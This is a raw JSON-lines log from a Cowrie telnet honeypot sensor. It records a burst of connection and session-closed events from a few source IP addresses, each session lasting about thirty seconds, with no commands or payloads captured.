{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":54646,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0798ee84001","protocol":"telnet","message":"New connection: 107.152.33.170:54646 (159.203.135.109:23) [session: b0798ee84001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:47.161273Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":49318,"dst_ip":"159.203.135.109","dst_port":23,"session":"a669ee50bd9c","protocol":"telnet","message":"New connection: 62.77.140.101:49318 (159.203.135.109:23) [session: a669ee50bd9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:47.352166Z"}
{"eventid":"cowrie.session.closed","duration":30.86305832862854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:48.119790Z","src_ip":"85.190.254.94","session":"ac40c320c4f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.967665195465088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:48.230881Z","src_ip":"138.197.5.236","session":"47a4ec994c08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84081268310547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:48.378929Z","src_ip":"107.152.33.170","session":"350930094813","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.833608388900757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:49.887617Z","src_ip":"107.152.33.170","session":"d749ead2e8c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":52378,"dst_ip":"159.203.135.109","dst_port":23,"session":"79ec48a2951d","protocol":"telnet","message":"New connection: 77.72.5.107:52378 (159.203.135.109:23) [session: 79ec48a2951d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:49.941159Z"}
{"eventid":"cowrie.session.closed","duration":30.823548078536987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:50.181963Z","src_ip":"138.197.5.236","session":"2ded8b587169","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97418475151062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:50.202329Z","src_ip":"138.197.5.236","session":"c355907e6b51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.479327917099,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:50.261055Z","src_ip":"167.71.198.239","session":"953b7b2cbb60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.238449811935425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:50.305690Z","src_ip":"167.71.198.239","session":"6212a0e5b805","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01227355003357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:51.122488Z","src_ip":"107.152.33.170","session":"0e1604a6cd43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":59700,"dst_ip":"159.203.135.109","dst_port":23,"session":"f59c937200d7","protocol":"telnet","message":"New connection: 167.71.198.239:59700 (159.203.135.109:23) [session: f59c937200d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:51.198488Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":54662,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f8cd5662561","protocol":"telnet","message":"New connection: 107.152.33.170:54662 (159.203.135.109:23) [session: 3f8cd5662561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:51.476873Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":34008,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a95e9f9e29e","protocol":"telnet","message":"New connection: 138.197.5.236:34008 (159.203.135.109:23) [session: 7a95e9f9e29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:51.765024Z"}
{"eventid":"cowrie.session.closed","duration":31.13223099708557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:52.070785Z","src_ip":"62.77.140.101","session":"e1756586acc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.697344541549683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:52.163619Z","src_ip":"85.190.254.94","session":"bb4481042428","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63912844657898,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:52.347611Z","src_ip":"138.197.5.236","session":"122cdc89d225","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":34544,"dst_ip":"159.203.135.109","dst_port":23,"session":"01df7e3bc4fd","protocol":"telnet","message":"New connection: 138.197.5.236:34544 (159.203.135.109:23) [session: 01df7e3bc4fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:52.352608Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":33766,"dst_ip":"159.203.135.109","dst_port":23,"session":"093a7bdc8342","protocol":"telnet","message":"New connection: 167.71.198.239:33766 (159.203.135.109:23) [session: 093a7bdc8342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:52.839065Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":44084,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac3ca9324f6e","protocol":"telnet","message":"New connection: 85.190.254.94:44084 (10.17.0.5:23) [session: ac3ca9324f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:52.974104Z"}
{"eventid":"cowrie.session.closed","duration":30.996910095214844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:53.019982Z","src_ip":"107.152.33.170","session":"7f26f1547b9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":35696,"dst_ip":"159.203.135.109","dst_port":23,"session":"60f93a8800ca","protocol":"telnet","message":"New connection: 138.197.5.236:35696 (159.203.135.109:23) [session: 60f93a8800ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:53.143412Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":43904,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b17c3740d02","protocol":"telnet","message":"New connection: 136.244.67.81:43904 (159.203.135.109:23) [session: 8b17c3740d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:53.223676Z"}
{"eventid":"cowrie.session.closed","duration":30.652944087982178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:53.305969Z","src_ip":"167.71.198.239","session":"a4d745575b74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":34900,"dst_ip":"159.203.135.109","dst_port":23,"session":"8510b11b8a0f","protocol":"telnet","message":"New connection: 167.71.198.239:34900 (159.203.135.109:23) [session: 8510b11b8a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:53.672959Z"}
{"eventid":"cowrie.session.closed","duration":30.444170236587524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:54.057084Z","src_ip":"85.190.254.94","session":"5b0b494be82f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":54054,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d8ef4205dec","protocol":"telnet","message":"New connection: 77.72.5.107:54054 (159.203.135.109:23) [session: 0d8ef4205dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:54.573959Z"}
{"eventid":"cowrie.session.closed","duration":31.007293701171875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:55.248559Z","src_ip":"138.197.5.236","session":"3fb866774713","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":33584,"dst_ip":"159.203.135.109","dst_port":23,"session":"0652302bf387","protocol":"telnet","message":"New connection: 136.244.67.81:33584 (159.203.135.109:23) [session: 0652302bf387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:55.415168Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":33586,"dst_ip":"159.203.135.109","dst_port":23,"session":"695e7b396003","protocol":"telnet","message":"New connection: 136.244.67.81:33586 (159.203.135.109:23) [session: 695e7b396003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:55.440326Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":52056,"dst_ip":"10.17.0.5","dst_port":23,"session":"580647424a39","protocol":"telnet","message":"New connection: 85.190.254.94:52056 (10.17.0.5:23) [session: 580647424a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:55.595085Z"}
{"eventid":"cowrie.session.closed","duration":31.20248317718506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:55.602074Z","src_ip":"85.190.254.94","session":"98cad113eb89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":37726,"dst_ip":"159.203.135.109","dst_port":23,"session":"eed2af910531","protocol":"telnet","message":"New connection: 167.71.198.239:37726 (159.203.135.109:23) [session: eed2af910531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:55.634509Z"}
{"eventid":"cowrie.session.closed","duration":31.870430946350098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:56.012908Z","src_ip":"107.152.33.170","session":"bbb3c1c6d0b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":49322,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbae98ae5e74","protocol":"telnet","message":"New connection: 62.77.140.101:49322 (159.203.135.109:23) [session: bbae98ae5e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:56.019753Z"}
{"eventid":"cowrie.session.closed","duration":31.00896978378296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:56.099128Z","src_ip":"62.77.140.101","session":"db8f49bea14c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":39018,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a5dcaff3de2","protocol":"telnet","message":"New connection: 138.197.5.236:39018 (159.203.135.109:23) [session: 2a5dcaff3de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:56.221549Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":39600,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebd2b1290a72","protocol":"telnet","message":"New connection: 62.77.140.101:39600 (159.203.135.109:23) [session: ebd2b1290a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:56.502236Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":39746,"dst_ip":"159.203.135.109","dst_port":23,"session":"5253dbe6af2a","protocol":"telnet","message":"New connection: 138.197.5.236:39746 (159.203.135.109:23) [session: 5253dbe6af2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:56.775157Z"}
{"eventid":"cowrie.session.closed","duration":30.63295817375183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:57.062803Z","src_ip":"136.244.67.81","session":"1f50c5e7df90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993054628372192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:57.074968Z","src_ip":"85.190.254.94","session":"8a2db6c38b92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.073849201202393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:57.261643Z","src_ip":"138.197.5.236","session":"5891b6397a76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82405686378479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:58.271948Z","src_ip":"138.197.5.236","session":"7bdb5deb9590","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":41990,"dst_ip":"159.203.135.109","dst_port":23,"session":"26f49e10c63e","protocol":"telnet","message":"New connection: 138.197.5.236:41990 (159.203.135.109:23) [session: 26f49e10c63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:58.545039Z"}
{"eventid":"cowrie.session.closed","duration":30.15479302406311,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:59.097260Z","src_ip":"85.190.254.94","session":"b3aff0237c2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.191736698150635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:59.155649Z","src_ip":"85.190.254.94","session":"883a01756834","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":55808,"dst_ip":"159.203.135.109","dst_port":23,"session":"49f370608809","protocol":"telnet","message":"New connection: 77.72.5.107:55808 (159.203.135.109:23) [session: 49f370608809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:59.498519Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.34.169.29","src_port":8791,"dst_ip":"159.203.135.109","dst_port":23,"session":"08a5fc1b04d9","protocol":"telnet","message":"New connection: 177.34.169.29:8791 (159.203.135.109:23) [session: 08a5fc1b04d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:59.568089Z"}
{"eventid":"cowrie.session.closed","duration":30.863743782043457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:00.067686Z","src_ip":"62.77.140.101","session":"16c59246ec11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67376947402954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:00.075513Z","src_ip":"85.190.254.94","session":"74a827761da1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":48310,"dst_ip":"159.203.135.109","dst_port":23,"session":"2064c249deb5","protocol":"telnet","message":"New connection: 107.152.33.170:48310 (159.203.135.109:23) [session: 2064c249deb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:00.253766Z"}
{"eventid":"cowrie.session.closed","duration":31.282268285751343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:00.265466Z","src_ip":"85.190.254.94","session":"e69a4faea0d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48333740234375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:01.054841Z","src_ip":"85.190.254.94","session":"91ace607d798","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864989280700684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:01.197195Z","src_ip":"85.190.254.94","session":"08d942c5052d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07896375656128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:01.215805Z","src_ip":"85.190.254.94","session":"6cc8e038245c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":57032,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbcf98542ce6","protocol":"telnet","message":"New connection: 77.72.5.107:57032 (159.203.135.109:23) [session: bbcf98542ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:01.727342Z"}
{"eventid":"cowrie.session.closed","duration":31.156378507614136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:02.106045Z","src_ip":"85.190.254.94","session":"cd9fe437f127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":44296,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d630bcd24ac","protocol":"telnet","message":"New connection: 85.190.254.94:44296 (10.17.0.5:23) [session: 4d630bcd24ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:02.384201Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":43474,"dst_ip":"159.203.135.109","dst_port":23,"session":"7624ec73d5b5","protocol":"telnet","message":"New connection: 138.197.5.236:43474 (159.203.135.109:23) [session: 7624ec73d5b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:02.778878Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":46972,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f7cb54ddf19","protocol":"telnet","message":"New connection: 138.197.5.236:46972 (159.203.135.109:23) [session: 4f7cb54ddf19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:02.979315Z"}
{"eventid":"cowrie.session.closed","duration":31.077865839004517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:03.045322Z","src_ip":"136.244.67.81","session":"cb27daf80f26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.187813758850098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:03.074223Z","src_ip":"85.190.254.94","session":"5a10a271956b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4504554271698,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:03.101546Z","src_ip":"85.190.254.94","session":"c84e9c937431","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":33596,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7cb1e4a11b3","protocol":"telnet","message":"New connection: 136.244.67.81:33596 (159.203.135.109:23) [session: e7cb1e4a11b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:03.107439Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":47030,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ff895bca1b4","protocol":"telnet","message":"New connection: 138.197.5.236:47030 (159.203.135.109:23) [session: 5ff895bca1b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:03.112890Z"}
{"eventid":"cowrie.session.closed","duration":30.62147331237793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:03.158099Z","src_ip":"62.77.140.101","session":"81aa0b79877d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75775933265686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:03.211539Z","src_ip":"138.197.5.236","session":"926d5f100cc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.0372519493103,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:03.242891Z","src_ip":"138.197.5.236","session":"8898601a5b14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":33606,"dst_ip":"159.203.135.109","dst_port":23,"session":"01be3e6042a7","protocol":"telnet","message":"New connection: 136.244.67.81:33606 (159.203.135.109:23) [session: 01be3e6042a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:03.275732Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":48442,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5024c7a1309","protocol":"telnet","message":"New connection: 85.190.254.94:48442 (10.17.0.5:23) [session: b5024c7a1309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:03.823071Z"}
{"eventid":"cowrie.session.closed","duration":31.124819040298462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:03.890498Z","src_ip":"77.72.5.107","session":"5daf22083677","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.469223022460938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:03.996011Z","src_ip":"107.152.33.170","session":"f6b01bab46f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54683017730713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:04.102791Z","src_ip":"85.190.254.94","session":"61b196369687","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":48162,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc4c3be3dd9c","protocol":"telnet","message":"New connection: 138.197.5.236:48162 (159.203.135.109:23) [session: bc4c3be3dd9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:04.267522Z"}
{"eventid":"cowrie.session.closed","duration":31.240025520324707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:04.363004Z","src_ip":"138.197.5.236","session":"78e02fa40a50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":50206,"dst_ip":"10.17.0.5","dst_port":23,"session":"415788ea3e40","protocol":"telnet","message":"New connection: 85.190.254.94:50206 (10.17.0.5:23) [session: 415788ea3e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:04.376834Z"}
{"eventid":"cowrie.session.closed","duration":30.9077787399292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:04.598587Z","src_ip":"138.197.5.236","session":"6d5e8b367099","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.143678188323975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:04.851758Z","src_ip":"167.71.198.239","session":"97535d314d07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51888871192932,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:05.112666Z","src_ip":"138.197.5.236","session":"074b2166ceca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.963854789733887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:05.181630Z","src_ip":"138.197.5.236","session":"fdaeb611669b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002401113510132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:05.215702Z","src_ip":"136.244.67.81","session":"5c1a4e6a3c40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":38610,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c85e4d4cc43","protocol":"telnet","message":"New connection: 107.152.33.170:38610 (159.203.135.109:23) [session: 3c85e4d4cc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:05.875092Z"}
